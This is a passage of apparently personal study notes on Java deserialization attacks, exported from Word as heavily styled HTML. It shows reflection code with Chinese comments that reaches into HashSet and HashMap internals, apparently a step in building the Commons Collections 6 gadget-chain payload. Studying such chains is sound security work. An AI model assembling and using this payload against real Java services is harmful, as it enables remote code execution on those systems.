style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>f </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashSet</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;map&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//获取map属性</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchFieldException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>f </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashSet</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;backingMap&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Reflections</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">f</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> innimpl </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> f</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">map</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//获取map实例的map属性。【也就是&#34;foo&#34;-&gt;】键值对</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> f2 </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>f2 </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;table&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchFieldException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>f2 </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">HashMap</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;elementData&#34;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Reflections</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">f2</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> array </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[])</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> f2</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">innimpl</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//获取map属性的table属性，里面包含很多Node</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:cc6-2;"><span style="font-family:Cambria;">              

